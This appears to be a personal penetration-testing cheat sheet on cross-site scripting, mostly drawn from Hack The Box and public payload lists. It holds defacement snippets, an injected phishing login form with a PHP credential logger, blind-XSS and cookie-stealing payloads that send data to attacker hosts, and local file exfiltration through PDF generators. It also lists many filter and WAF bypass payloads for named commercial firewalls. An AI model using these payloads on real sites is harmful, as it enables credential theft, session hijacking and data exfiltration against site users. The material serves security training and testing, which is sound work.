        Set-Cookie: gude=tama.{{interactsh-url}}
        Accept-Encoding: gzip, deflate, br, zstd
    
    redirects: false
    stop-at-first-match: false
    matchers-condition: or
    matchers:
      - type: regex
        regex:
          - '(?m)^(?:(?:Set-Cookie\s*?:(?:\s*?|.*?;\s*?))(gude=tama)(?:\s*?)(?:$|;))'
          - '(?mi)^(.*:\s*.*oast.*)'
        part: header

      - type: regex
        regex:
          - '(?m)^(?:(?:Set-Cookie\s*?:(?:\s*?|.*?;\s*?))(gude=tama)(?:\s*?)(?:$|;))'
          - '(?mi)^(.*:\s*.*oast.*)'
        part: body

Open Source

python xsstrike.py -u "http://SERVER_IP:PORT/index.php?task=test" 

Other great tool:

Release Page - build in - Just download

Commercial Tool

Manual

See Payload

Note: XSS can be injected into any input in the HTML page, which is not exclusive to HTML input fields, but may also be in HTTP headers like the Cookie or User-Agent (i.e., when their values are displayed on the page).

Defacing

Three HTML elements are usually utilized to change the main look of a web page:

  • Background Color document.body.style.background

  • Background document.body.background

  • Page Title document.title

  • Page Text DOM.innerHTML

Changing Background

<script>document.body.style.background = "#141d2b"</script>

Here we set the background color to the default Hack The Box background color. We can use any other hex value, or can use a named color like = "black".

# Change background color to red
<img src="test" onmouseover="document.body.style.backgroundColor = 'red'">
<script>document.body.background = "https://www.hackthebox.eu/images/logo-htb.svg"</script>

Changing Page Title

<script>document.title = 'HackTheBox Academy'</script>
# Title defacement
<script>document.getElementById('thm-title').innerHTML="I am a hacker";</script>

Changing Page Text

document.getElementById("todo").innerHTML = "New Text"

jQuery

$("#todo").html('New Text');

innerHTML

document.getElementsByTagName('body')[0].innerHTML = "New Text"

document.getElementsByTagName('body') => by specifying [0], we are selecting the first body element, which should change the entire text of the web page

<script>document.getElementsByTagName('body')[0].innerHTML = '<center><h1 style="color: white">Cyber Security Training</h1><p style="color: white">by <img src="https://academy.hackthebox.com/images/logo-htb.svg" height="25px" alt="HTB Academy"> </p></center>'</script>

Phishing

Tip: To understand which payload should work, try to view how your input is displayed in the HTML source after you add it.

Login Form Injection

Login form:

<h3>Please login to continue</h3>
<form action=http://OUR_IP>
    <input type="username" name="username" placeholder="Username">
    <input type="password" name="password" placeholder="Password">
    <input type="submit" name="submit" value="Login">
</form>

Payload:

document.write('<h3>Please login to continue</h3><form action=http://OUR_IP><input type="username" name="username" placeholder="Username"><input type="password" name="password" placeholder="Password"><input type="submit" name="submit" value="Login"></form>');

Vicitm URL: http://SERVER_IP/phishing/index.php?url=...SNIP...

Remove the URL field, such that they may think that they have to log in to be able to use the page. To do so, we can use the JavaScript function document.getElementById().remove() function.

Find the id of the HTML element we want to remove:

document.getElementById('urlform').remove();

Final Payload:

document.write('<h3>Please login to continue</h3><form action=http://OUR_IP><input type="username" name="username" placeholder="Username"><input type="password" name="password" placeholder="Password"><input type="submit" name="submit" value="Login"></form>');document.getElementById('urlform').remove();

Remove the original HTML code left after our injected login form

...PAYLOAD... <!-- 

Credential Stealing

If any victim attempts to log in with the form, we will get their credentials.

 sudo nc -lvnp 80
connect to [10.10.XX.XX] from (UNKNOWN) [10.10.XX.XX] XXXXX
GET /?username=test&password=test&submit=Login HTTP/1.1
Host: 10.10.XX.XX
...SNIP...

Use a basic PHP script that logs the credentials from the HTTP request and then returns the victim to the original page without any injections

index.php:

<?php
if (isset($_GET['username']) && isset($_GET['password'])) {
    $file = fopen("creds.txt", "a+");
    fputs($file, "Username: {$_GET['username']} | Password: {$_GET['password']}\n");
    header("Location: http://SERVER_IP/phishing/index.php");
    fclose($file);
    exit();
}
?>

Start a PHP listening server,

$ mkdir /tmp/tmpserver
$ cd /tmp/tmpserver
$ vi index.php #at this step we wrote our index.php file
$ sudo php -S 0.0.0.0:80
PHP 7.4.15 Development Server (http://0.0.0.0:80) started

Blind XSS Detection

Payload Generator:

<script src="http://OUR_IP/script.js"></script>

Identify the vulnerable input field that executed the script

<script src="http://OUR_IP/username"></script>

If we get a request for /username, then we know that the username field is vulnerable to XSS, and so on.

<img src="http://example.burpcollaborator.net/image">
<img src="http://example.burpcollaborator.net/image-only" onerror='this.src="http://example.burpcollaborator.net/image-xss?"+btoa(document.location)'>
<img src=x onerror='this.src="http://example.burpcollaborator.net/image-xss?"+btoa(document.location)'>
<img src=x onerror='this.src="http://"+btoa(document.location)+".example.burpcollaborator.net/image-dns?"'>
<img src=x onerror='this.src="http://example.burpcollaborator.net/image-xss?"+btoa(document.location)'>
<img src=x onerror='fetch("http://example.burpcollaborator.net/image-xss-post",{method:"POST",body:btoa(document.body.innerHTML),mode:"no-cors"})'>
<iframe src='javascript:window.location="http://example.burpcollaborator.net/iframe-src?"+btoa(parent.document.location)'></iframe>
<iframe srcdoc='<script>window.location="http://example.burpcollaborator.net/iframe-srcdoc?"+btoa(parent.document.location)</script>'></iframe>
<iframe srcdoc='<script>fetch("http://example.burpcollaborator.net/iframe-srcdoc-post",{method:"POST",body:btoa(parent.document.body.innerHTML),mode:"no-cors"})</script>'></iframe>
<object data='javascript:window.location="http://example.burpcollaborator.net/iframe-src?"+btoa(parent.document.location)'></object>
<input onfocus='fetch("http://example.burpcollaborator.net/imput-post",{method:"POST",body:btoa(document.body.innerHTML),mode:"no-cors"})' autofocus>
<script src=http://example.burpcollaborator.net/script-tag></script>
<script type="text/javascript" src="http://example.burpcollaborator.net/script-tag-type"></script>
<script type="module" src="http://example.burpcollaborator.net/script-tag-module"></script>
<script nomodule src="http://example.burpcollaborator.net/script-tag-nomodule"></script>
'"><img src="http://example.burpcollaborator.net/image">
'"><img src="http://example.burpcollaborator.net/image-only" onerror='this.src="http://example.burpcollaborator.net/image-xss?"+btoa(document.location)'>
'"><img src=x onerror='this.src="http://example.burpcollaborator.net/image-xss?"+btoa(document.location)'>
'"><img src=x onerror='this.src="http://"+btoa(document.location)+".example.burpcollaborator.net/image-dns?"'>
'"><img src=x onerror='this.src="http://example.burpcollaborator.net/image-xss?"+btoa(document.location)'>
'"><img src=x onerror='fetch("http://example.burpcollaborator.net/image-xss-post",{method:"POST",body:btoa(document.body.innerHTML),mode:"no-cors"})'>
'"><iframe src='javascript:window.location="http://example.burpcollaborator.net/iframe-src?"+btoa(parent.document.location)'></iframe>
'"><iframe srcdoc='<script>window.location="http://example.burpcollaborator.net/iframe-srcdoc?"+btoa(parent.document.location)</script>'></iframe>
'"><iframe srcdoc='<script>fetch("http://example.burpcollaborator.net/iframe-srcdoc-post",{method:"POST",body:btoa(parent.document.body.innerHTML),mode:"no-cors"})</script>'></iframe>
'"><object data='javascript:window.location="http://example.burpcollaborator.net/iframe-src?"+btoa(parent.document.location)'></object>
<input onfocus='fetch("http://example.burpcollaborator.net/imput-post",{method:"POST",body:btoa(document.body.innerHTML),mode:"no-cors"})' autofocus>
'"><script src=http://example.burpcollaborator.net/script-tag></script>
'"><script type="text/javascript" src="http://example.burpcollaborator.net/script-tag-type"></script>
'"><script type="module" src="http://example.burpcollaborator.net/script-tag-module"></script>
'"><script nomodule src="http://example.burpcollaborator.net/script-tag-nomodule"></script>
javascript:window.location="http://example.burpcollaborator.net/js-scheme?"+btoa(document.location)
';"</scrpt><scrpt/src=//example.burpcollaborator.net/c/target-1></scrpt>
'//><scrIpt src=//example.burpcollaborator.net/c/kee-kee></scrIpt>
1"`/import(src)'<Script/Src=//example.burpcollaborator.net?1=[ID]><Img/OnLoad='`
--></tiTle></stYle></texTarea></scrIpt>"//'//><scrIpt src="http://example.burpcollaborator.net/"></scrIpt>
# Include your IP into the base64

<!-- Image tag -->
'"><img src="x" onerror="eval(atob(this.id))" id="Y29uc3QgeD1kb2N1bWVudC5jcmVhdGVFbGVtZW50KCdzY3JpcHQnKTt4LnNyYz0ne1NFUlZFUn0vc2NyaXB0LmpzJztkb2N1bWVudC5ib2R5LmFwcGVuZENoaWxkKHgpOw==">

<!-- Input tag with autofocus -->
'"><input autofocus onfocus="eval(atob(this.id))" id="Y29uc3QgeD1kb2N1bWVudC5jcmVhdGVFbGVtZW50KCdzY3JpcHQnKTt4LnNyYz0ne1NFUlZFUn0vc2NyaXB0LmpzJztkb2N1bWVudC5ib2R5LmFwcGVuZENoaWxkKHgpOw==">

<!-- In case jQuery is loaded, we can make use of the getScript method -->
'"><script>$.getScript("{SERVER}/script.js")</script>

<!-- Make use of the JavaScript protocol (applicable in cases where your input lands into the "href" attribute or a specific DOM sink) -->
javascript:eval(atob("Y29uc3QgeD1kb2N1bWVudC5jcmVhdGVFbGVtZW50KCdzY3JpcHQnKTt4LnNyYz0ne1NFUlZFUn0vc2NyaXB0LmpzJztkb2N1bWVudC5ib2R5LmFwcGVuZENoaWxkKHgpOw=="))

<!-- Render an iframe to validate your injection point and receive a callback -->
'"><iframe src="{SERVER}"></iframe>

<!-- Bypass certain Content Security Policy (CSP) restrictions with a base tag -->
<base href="{SERVER}" />

<!-- Make use of the meta-tag to initiate a redirect -->
<meta http-equiv="refresh" content="0; url={SERVER}" />

<!-- In case your target makes use of AngularJS -->
{{constructor.constructor("import('{SERVER}/script.js')")()}}

Payloads from PayloadsAllTheThings

"><script src=//OUR_IP/field_name></script>
<script src=http://OUR_IP></script>
'><script src=http://OUR_IP></script>
"><script src=http://OUR_IP></script>
javascript:eval('var a=document.createElement(\'script\');a.src=\'http://OUR_IP\';document.body.appendChild(a)')
<script>function b(){eval(this.responseText)};a=new XMLHttpRequest();a.addEventListener("load", b);a.open("GET", "//OUR_IP");a.send();</script>
<script>$.getScript("http://OUR_IP")</script>
'"></title></textarea></script></style></noscript><script src=http://OUR_IP></script>
0xss0rz@htb[/htb]$ mkdir /tmp/tmpserver
0xss0rz@htb[/htb]$ cd /tmp/tmpserver
0xss0rz@htb[/htb]$ sudo php -S 0.0.0.0:80
PHP 7.4.15 Development Server (http://0.0.0.0:80) started

Now we can start testing these payloads one by one by using one of them for all of input fields and appending the name of the field after our IP

<script src=http://OUR_IP/fullname></script> #this goes inside the full-name field
<script src=http://OUR_IP/username></script> #this goes inside the username field
...SNIP...

Also see Blind XSS

Blind XSS in Request Header

HTTP Header Exploitation

Try in common header

• Referrer • X-Forwarded-For, X-Forwarded-Host, X-Forwarded-Ip, Host (in case of a reverse proxy) • User-Agent • Etc.

Session Hijacking

Payloads

document.location='http://OUR_IP/index.php?c='+document.cookie;
new Image().src='http://OUR_IP/index.php?c='+document.cookie;
<script>document.location='http://OUR_IP/index.php?c='+document.cookie;</script>
<script>new Image().src='http://OUR_IP/index.php?c='+document.cookie</script>

Write any of these JavaScript payloads to script.js, which will be hosted on our VM

new Image().src='http://OUR_IP/index.php?c='+document.cookie

Change the URL in the XSS payload we found earlier to use script.js

<script src=http://OUR_IP/script.js></script>

If there were many cookies, we may not know which cookie value belongs to which cookie header. So, we can write a PHP script to split them with a new line and write them to a file

Save the following PHP script as index.php

<?php
if (isset($_GET['c'])) {
    $list = explode(";", $_GET['c']);
    foreach ($list as $key => $value) {
        $cookie = urldecode($value);
        $file = fopen("cookies.txt", "a+");
        fputs($file, "Victim IP: {$_SERVER['REMOTE_ADDR']} | Cookie: {$cookie}\n");
        fclose($file);
    }
}
?>
# Cookie stealing example
<img src=x onerror="this.src='http://192.168.0.18:8888/?'+document.cookie; this.removeAttribute('onerror');">
<img src=’https://<attacker-server>/yikes?jwt=’+JSON.stringify(localStorage);’--!>
<img src=x encodeURIComponent(document.cookie) onerror="fetch('https://[BURP-COLLAB-ID]/' + encodeURIComponent(document.cookie))">
%3Cimg%20src%3Dx+encodeURIComponent(document.cookie)%20onerror%3D%22fetch(%27https://[BURP-COLLAB-ID]/%27%2bencodeURIComponent(document.cookie))%22%3E

Redirect

https://accounts.reddit.com/?dest=javascript:fetch('//attacker.com?c='+btoa(document.cookie))
Open Redirection

Bypass HTTPOnly - Sandwich Technique

Extract existing page code

<img src=x onerror="fetch('/api/info').then(r=>r.text()).then(t=>fetch('http://10.10.16.3/log?data='+encodeURIComponent(t),{mode:'no-cors'}))">
<script>
fetch("http://domain.htb/index.php?page=existing_page")
.then(response => response.text()) 
.then(data => {
fetch("http://10.10.14.49/?data=" + encodeURIComponent(data));
})
.catch(error => console.error("Error fetching the messages:", error));
</script> 

If it doesn't work, try to put a js file on your webserver and fetch it:

xss.js

fetch('/api/info')
    .then(response => response.text())  // Get the response body as text
    .then(text => {
        // Send the base64-encoded response to your server
        fetch('http://10.10.14.44/data?' + btoa(text), { mode: 'no-cors' });
    });

Payload:

<img src=1 onerror="var s=document.createElement('script'); s.src='http://10.10.14.44/xss.js'; document.body.appendChild(s);">

XSS in an email / username

"><Svg/OnLoad=alert(1)>"@gmail.com

XSS in an email address is underrated. (email is rarely sanitized by companies). Use catch-all and then you can also verify your account (if required).

"><img/src/onerror=import('//domain/')>"@yourdomain.com

test+(<script>alert(0)</script>)@example.com

XSS in phone number

 +441134960000;phone-context=<script>alert(1)</script>

Textarea

</textarea><img src="x" onerror="alert(1)">

XSS in .css file

"/lib/css/animated.min'"/><script%20>alert(document.domain)<%2fscript>.css"

XSS.SWF

# https://github.com/evilcos/xss.swf
<object data="//hacker.site/xss.swf">
<embed code="//hacker.site/xss.swf" allowscriptaccess=always>

SVG Tag - Confuse filters

%3CSVG/oNlY=1%20ONlOAD=confirm(document.domain)%3E
<svg>
  <script>
    /*
    <![CDATA[*]]><![CDATA[/]]>alert(1)-/\*/
  </script>

Source: https://x.com/garethheyes/status/1843331462004912389?t=wmNCIF85tvyXZ21GMJ9B6w&s=03

<svg> <script> 1<![CDATA[</script>]]>/-alert(1) </script> </svg>

<svg> <script> /* <![CDATA[*]]><![CDATA[/]]>alert(1)-/\*/ </script>
<svg><use><set attributeName="href" to="data:image/svg+xml,&lt;svg id='x' xmlns='http://www.w3.org/2000'&gt;&lt;image href='1' onerror='alert(1)' /&gt;&lt;/svg&gt;#x" />

Source: https://x.com/0x0SojalSec/status/1844806824983413002?t=sfLD3yJAVRjsXew1YJ40QA&s=03

<svg>
<script>alert<![CDATA[<!---->]]>
(1)</script></svg>
<svg><script>
eval('a<?>l<!>e</>rt(1)')
</script></svg>
<svg>
<script>
<!---->a<!---->l<!---->e<!---->r<!---->t<!---->(<!---->1<!---->)
</script>
<svg>

XSS Polyglots

jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert() )//%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert()//>\x3e
</script><svg/onload='+/"/+/onmouseover=1/+(s=document.createElement(/script/.source), s.stack=Error().stack, s.src=(/,/+/oastify.com/).slice(2), document.documentElement.appendChild(s))//'>

</Title/</Style/</Script/</textArea/</iFrame/</noScript><K/contentEditable/autoFocus/OnFocus=(alert)(1337)>
/*’/*\’/*”/*\”/*`/*\`/*</Title/</Style/</Script/</textArea/</iFrame/</noScript><K/contentEditable/autoFocus/OnFocus=/**/{(alert)(1337)}//>
<!–>/*’/*\’/*”/*\”/*`/*\`/*</Title/</Style/</Script/</textArea/</iFrame/</noScript><K/contentEditable/autoFocus/OnFocus=/**/{(alert)(1337)}//–>
<!–>/*’/*\’/*”/*\”/*`/*\`/*</Title/</Style/</Script/</textArea/</iFrame/</noScript>\74k<K/contentEditable/autoFocus/OnFocus=/**/{(alert)(1337)}//><Base/Href=//X55.is\76–>
<!–>/*’/*\’/*”/*\”/*`/*\`/*%26apos;)/*</Title/</Style/</Script/</textArea/</iFrame/</noScript>\74k<K/contentEditable/autoFocus/OnFocus=/**/;{(alert)(1337)}//><Base/Href=//X55.is\76–>
<!–>/*’/*\’/*”/*\”/*`/*\`/*%26apos;)/*</Title/</Style/</Script/</textArea/</iFrame/</noScript>\74k<K/contentEditable/autoFocus/OnFocus=/*${/*/;{/**/(alert)(1337)}//><Base/Href=//X55.is\76–>
<!–>/*’/*\’/*”/*\”/*`/*\`/*%26apos;)/*%0D%0AContent-Type:text/html%0D%0A%0D%0A</Title/</Style/</Script/</textArea/</iFrame/</noScript>\74k<K/contentEditable/autoFocus/OnFocus=/*${/*/;{/**/(alert)(1337)}//><Base/Href=//X55.is\76–>
JavaScript://%250Aalert?.(1)//*’/*\’/*”/*\”/*`/*\`/*%26apos;)/*<!–></Title/</Style/</Script/</textArea/</iFrame/</noScript>\74k<K/contentEditable/autoFocus/OnFocus=/*${/*/;{/**/(alert)(1337)}//><Base/Href=//X55.is\76–>
JavaScript://%250Aalert?.(1)//*’/*\’/*”/*\”/*`/*\`/*%26apos;)/*<!–></Title/</Style/</Script/</textArea/</iFrame/</noScript>\74k<K/contentEditable/autoFocus/OnFocus=/*${/*/;{/**/(alert)(1337)}//><Base/Href=//X55.is\76–>\

XSS Cuneiform-alphabet based

𒀀='',𒉺=!𒀀+𒀀,𒀃=!𒉺+𒀀,𒇺=𒀀+{},𒌐=𒉺[𒀀++], 𒀟=𒉺[𒈫=𒀀],𒀆=++𒈫+𒀀,𒁹=𒇺[𒈫+𒀆],𒉺[𒁹+=𒇺[𒀀] +(𒉺.𒀃+𒇺)[𒀀]+𒀃[𒀆]+𒌐+𒀟+𒉺[𒈫]+𒁹+𒌐+𒇺[𒀀] +𒀟][𒁹](𒀃[𒀀]+𒀃[𒈫]+𒉺[𒀆]+𒀟+𒌐+"(𒀀)")()

http://url.com/search?title=<xss_payload>

"><img/src=x onerror="𐂃='',𐃨=!𐂃+𐂃,𐂝=!𐃨+𐂃,𐃌=𐂃+{},𐁉=𐃨[𐂃++],𐃵=𐃨[𐂓=𐂃],𐀜=++𐂓+𐂃,𐂠=𐃌[𐂓+𐀜],𐃨[𐂠+=𐃌[𐂃]+(𐃨.𐂝+𐃌)[𐂃]+𐂝[𐀜]+𐁉+𐃵+𐃨[𐂓]+𐂠+𐁉+𐃌[𐂃]+𐃵][𐂠](𐂝[𐂃]+𐂝[𐂓]+𐃨[𐀜]+𐃵+𐁉+'(document.domain)')()"

ISO-2022-JP

Invisible Javascript

https://x.com/aemkei/status/1843756978147078286

XSS using github pages

Header Injection

HTTP Header Exploitation

Server Side - PDF Generator

<iframe src=file:///etc/passwd></iframe>
SSRF

XSS to read local file

<script>
    x=new XMLHttpRequest;
    x.onload=function(){
        document.write(this.responseText)
    };
    x.open("GET","file:///etc/passwd");
    x.send();
</script>
<script>
    function addNewlines(str) {
        var result = '';
        while (str.length > 0) {
            result += str.substring(0, 100) + '\n';
            str = str.substring(100);
        }
        return result;
    }

    x = new XMLHttpRequest();
    x.onload = function(){
        document.write(addNewlines(btoa(this.responseText)))
    };
    x.open("GET", "file:///etc/passwd");
    x.send();
</script>
<script>
        var readfile = new XMLHttpRequest(); // Read the local file
        var exfil = new XMLHttpRequest(); // Send the file to our server
        readfile.open("GET","file:///var/www/html/dev-text.php", true);
        readfile.send();
        readfile.onload = function() {
            if (readfile.readyState === 4) {
                var url = 'http://burpcollaborator.com?data='+btoa(this.response);
                exfil.open("GET", url, true);
                exfil.send();
            }
        }
        readfile.onerror = function(){document.write('<a>Oops!</a>');}
        </script>
<img src="xasdasdasd" onerror="document.write('<iframe src=file:///etc/passwd></iframe>')"/>
<script>document.write('<iframe src=file:///etc/passwd></iframe>');</script>

Prototype Pollution

For Red Teaming

XSS Keylogger

XSS With JSFuck

Convert document.location='http://attacker.com?'+document.cookie with JSFuck.

Put the result inside <button autofocus onfocus=(eval)([JSFuck])></button>

WAF Bypass

WAF Bypass
"><input%0a%0atype="hidden"%0a%0aoncontentvisibilityautostatechange=confirm(/Bypassed/)%0d%0astyle=content-visibility:auto>
"><input type="hidden" oncontentvisibilityautostatechange="confirm(/Bypassed/)" style="content-visibility:auto">
<p oncontentvisibilityautostatechange="alert(/FirefoxOnly/)" style="content-visibility:auto">
# alert(origin):

W=!![];H=(W+"")[3];di="al";me="rt";qq="( origin )";meydi=di+H+me+qq;[]["fill"]["constructor"](meydi)()

Bypass Filters

#JavaScript and brackets () filtered

<a href="jav&#x0A;a
script:&#x0A;confirm``">click me</a>
# Bypass filters

## filter that removes any script tags.
<img src="test" onerror=alert("Hello") />

## alert is filtered
<img src="test" onerror=confirm("Hello") />

## The word hello is filtered
<img src="test" onerror=alert("HHelloello") />
1) alert = window["al"+"ert"] 
2) bypass () with `` 
3) replace space with / 
4) encode symbols: 
< = %3c 
> = %3e 
" = %22 
[ = %5b 
] = %5d 
` = %60
1%27/prompt?.(1)/%27
*prompt(document.domain)*
"><img src=x onerrora=confirm() onerror=confirm(1)>
<img//////src=x oNlY=1 oNerror=alert('xxs')//
<img%20hrEF="x"%20sRC="data:x,"%20oNLy=1%20oNErrOR=prompt1>
<img/src/onerror=setTimeout(atob(/YWxlcnQoMTMzNyk/.source))>
<img%20hrEF="x"%20sRC="data:x,"%20oNLy=1%20oNErrOR=prompt`1`//>
<a+HREF="%26%237 javascrip%26%239t: alert%261par;document .domain) *>
%3CSVG/oNlY=1%20ONlOAD=confirm(document.domain)%3E
&#34;&gt;&lt;track/onerror=&#x27;confirm\%601\%60&#x27;&gt;
<Img Src=OnXSS OnError={prompt`1`}>
"><img src=x onerrora=confirm() onerror=confirm(1)>
<svg/ONxss='0'/ONload=location=window[`atob`]`amF2YXNjcmlwdDphbGVydCgxKQ==`;//
<dETAILS%0aopen%0aonToGgle%0a%3d%0aa%3dprompt,a(origin)%20x>
"><div/onclick="(function(){setTimeout(()%20=>%20alert(document.domain),%200);})();">Click%20me!</div>
<Svg Only=1 OnLoad=confirm(atob("Q2xvdWRmb GFyZSBCeXBhc3NlZCA6KQ=="))>
<iframe+/ON+onload=%20alert(/str0d/)>
<inpuT autofocus oNFocus="setTimeout(function() { /*\`*/top['al'+'\u0065'+'rt']([!+[]+!+[]]+[![]+[]][+[]])/*\`*/ }, 5000);"></inpuT%3E&lT;/stYle&lT;/titLe&lT;/teXtarEa&lT;/scRipt&gT;
"><body/onload="{x:onerror=alert};x"
<svg/%20src=x%20onmouseover%3D%22alert%26%230000000040%3B1)
<Img Src=OnXSS OnError=confirm(1)>

Bypass Akamai, Imperva and CloudFlare

<A HRef=//X55.is AutoFocus %26%2362 OnFocus%0C=import(href)>
"&quot;"ontoggle=[JS]
"' &quot;'"ontoggle=[JS]

Use this tricks to bypass alert block by XSS WAF

(function(x){this[x+`ert`](1)})`al` 

window[`al`+/e/[`ex`+`ec`]`e`+`rt`](2) 

document['default'+'View'][`\u0061lert`](3)

parent[/al/.source+/ert/.source](1)

parent[/al/.source.concat(/ert/.source)](2)
confirm?.(1)

CloudFlare
<Img Src=OnXSS OnError=alert(1)> 

Imperva

<Img Src=//X55.is OnLoad%0C=import(Src)// 

Akamai 
<A AutoFocus HRef %252F=""OnFocus=top/**/?.['al'%2B'ert'](1)>


<svg/onload=alert/*1337*/(1)> 
<svg/onload=alert//&NewLine;(2)> 
<svg/onload=alert&sol;**&sol;(3)> 
<svg/onload=alert/&#42;&#42;/(4)> 
<svg/onload=alert&#x2F;**&#47;(5)>

Amazon / Cloudflare WAF Bypass :

<details x=xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx:2 open ontoggle="prompt(document.cookie);">
1">K='><Svg OnLoad=(confirm)(1)>
<a/href="javascript:Reflect.get(frames,'ale'+'rt')(Reflect.get(document,'coo'+'kie'))">ClickMe

mXSS (Mutated XSS)

https://x.com/therceman/status/1862093437467496722?t=SZ07gfch6y1Zmj83xC6whA&s=03

mXSS (Mutated Cross-Site Scripting) occurs when a browser unexpectedly processes and transforms seemingly safe HTML tags or attributes, allowing malicious scripts to bypass filters and execute.

While libraries like DomPurify are designed to mitigate such attacks, some versions have been exploited by researchers who have discovered new ways to trick the browser and bypass this defense mechanisms.

However, not every developer is aware of DomPurify, or they may choose not to use it for various reasons, opting instead to create their own filters or validators dor safe HTML. This is where mXSS becomes particularly effective in bypassing custum protection measures

<iframe><style id="</iframe><img src=1 onerror=alert(1337)>">
<noframes><style id="</noframes><img src=1 onerror=alert(1337)>">
<noscript><p id="</noscript><img src=1 onerror=alert(1337)>">
<style><p id="</style><img src=1 onerror=alert(1337)>">
<style><p id="</style><img src="1" onerror="alert(1337)">">"&gt;
<svg><style><img src="1" onerror="alert(1337)">
<math><style><img src="1" onerror="alert(1337)">
<math><style></style></math><img src="1" onerror="alert(1337)">
<select><style><input><img src=1 onerror=alert(1337)></select>
<select></select><input><img src="1" onerror="alert(1337)">
<body><title><p id="</title><img src onerror=alert(1337)>"></title>
<body><noscript><p id="</noscript><img src onerror=alert(1337)>">
<maths><style><!--</style><img src onerror=alert(1337)>--></style></maths>
<svg><style>/*<img src onerror=alert(1337)>*/</style></svg>
<math><style>/*<img src onerror=alert(1337)>*/
<noscript><style>/*</noscript><img src onerror=alert(1337)>*/
<math><annotation-xml><style><img src onerror=alert(1337)></style></annotation-xml></math>
<body><textarea><a is="</textarea><img src onerror=alert(1337)>">
<math><annotation-xml encoding="text/html"><x><svg><mtext><textarea><a is="</textarea><img src onerror=alert(1337)>">
<form><math><mtext></form><form><mglyph><svg><mtext><title><path is="</title><img src onerror=alert(1337)>">
<math><foo-test><mi><li><table><foo-test><li></li></foo-test><a>
      <style>
        <! \${
      </style>
      }
      <foo-b id="><img src onerror='alert(1)'>">hmm...</foo-b>
    </a></table></li></mi></foo-test></math>

WhatWaf

CloudFlare

Payload : %3CSVG/oNlY=1%20ONlOAD=confirm(document.domain)%3E

<Img Src=OnXSS OnError=confirm(document.cookie)>
 ‘>alert(154)</script><script/154=’;;;;;;;
<Svg Only=1 OnLoad=confirm(atob("Q2xvdWRmbGFyZSBCeXBhc3NlZCA6KQ=="))>

"><Svg Only=1 OnLoad=confirm(atob("Q2xvdWRmbGFyZSBYU1MgQG1fa2VsZXBjZQ=="))>
<svg/onload=window["al"+"ert"](1337)>
<Img Src=OnXSS OnError=confirm(1337)>
<Svg Only=1 OnLoad=confirm(document.domain)>
<svg onload=alert&#0000000040document.cookie)>
<sVG/oNLY%3d1/**/On+ONloaD%3dco\u006efirm%26%23x28%3b%26%23x29%3b>
%3CSVG/oNlY=1%20ONlOAD=confirm(document.domain)%3E
<Img Src=//X55.is OnLoad%0C=import(Src)>
<Svg Only=1 OnLoad=confirm(atob("Q2xvdWRmbGFyZSBCeXBhc3NlZCA6KQ=="))>
OnXSS=<Img/Src/OnError=alert(1)>
"%2Bself[%2F*foo*%2F'alert'%2F*bar*%2F](self[%2F*foo*%2F'document'%2F*bar*%2F]['domain'])%2F%2F
'<00 foo="<a%20href="javascript:alert('XSS-Bypass')">XSS-CLick</00>--%20/
<Img/Src/OnError=(alert)(1)>
<select><​style></select>
<svg onload​=alert(1)> 
<​/style>
"><img src=x onerrora=confirm() onerror​=confirm(1)>
<dETAILS%0aopen%0aonToGgle%0a%3d%0aa%3dprompt,a(origin)%20x>
<svg onload​=alert&#0000000040"1")><"">

CloudFront

">'><details/open/ontoggle=confirm('XSS')>
6'%22()%26%25%22%3E%3Csvg/onload=prompt(1)%3E/
';window/*aabb*/['al'%2b'ert'](document./*aabb*/location);//
">%0D%0A%0D%0A<x '="foo"><x foo='><img src=x onerror=javascript:alert(cloudfrontbypass)//'>

Akamai

<a%20href=%0dj&Tab;avascript&colon;x='trela'.split('').reverse().join('');self[x](origin)>
'"><A HRef=\" AutoFocus OnFocus=top/**/?.['ale'%2B'rt'](document%2Bcookie)>
 <!--><svg+onload=%27top[%2fal%2f%2esource%2b%2fert%2f%2esource](document.cookie)%27>

Akamai: Stored XSS via cache poisoning https://twitter.com/WllGates/status/1788179999100444802

"><a nope="%26quot;x%26quot;"onmouseover="Reflect.get(frames,'ale'+'rt')(Reflect.get(document,'coo'+'kie'))">

Akamai:

'"><A HRef=" AutoFocus OnFocus=top/**/?.'ale'%2B'rt'>"
';k='e'%0Atop['al'+k+'rt'](1)//
'"><A HRef=\" AutoFocus OnFocus=top/**/?.['ale'%2B'rt'](1)>

In Redirect Parameter using HTTP Parameter Pollution and Double URL Encode:

/login?ReturnUrl=javascript:1&ReturnUrl=%2561%256c%2565%2572%2574%2528%2564%256f%2563%2575%256d%2565%256e%2574%252e%2564%256f%256d%2561%2569%256e%2529

Imperva

<Img Src=//X55.is OnLoad%0C=import(Src)>
<sVg OnPointerEnter="location=javas+cript:ale+rt%2+81%2+9;//</div">
<details x=xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx:2 open ontoggle=&#x0000000000061;
lert&#x000000028;origin&#x000029;>
<a/href="j%0A%0Davascript:{var{3:s,2:h,5:a,0:v,4:n,1:e}='earltv'}[self][0][v+a+e+s](e+s+v+h+n)(/infected/.source)" />click

Sucuri

<a aa aaa aaaa aaaaaa href=j&#97v&#97script&#x3A;&#97lert(document.cookie)>ClickMe

<a href="j&#97;vascript&#x3A;&#97;lert('Sucuri WAF Bypassed ! ' + document.domain + '\nCookie: ' + document.cookie); window&#46;location&#46;href='https://evil.com';">ClickMe</a>

Amazon WAF

<details x=xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx:2 open ontoggle="prompt(document.cookie);">

Modsecurity

<svg onload='new Function["Y000!"].find(al\u0065rt)'>

RXSS

<img src=x onerror=alert(document.domain)//
%3Csvg+on+onload%3D%28alert%29%28document.domain%29%3E

Alert(1)

'a'.replace.call`1${/./}${alert}`/
[alert][0].call(this,1)

Stored XSS

https://www\.target\.com/redirectEndpoint.do?redirectPage=redacted&itemFromOrder="'`//><Svg+Only%3d1+OnLoad%3dconfirm(atob("WW91IGhhdmUgYmVlbiBoYWNrZWQgYnkgb3R0ZXJseSE"))>


"'`//><Svg+Only%3d1+OnLoad%3dconfirm(atob("WW91IGhhdmUgYmVlbiBoYWNrZWQgYnkgb3R0ZXJseSE"))>

ASP

%u003Csvg onload=alert(1)>
%u3008svg onload=alert(2)> 
%uFF1Csvg onload=alert(3)>
parameter=<svg/&parameter=onload=alert()>
/(A(%22onerror='alert%60123%60'test))/

Keylogger

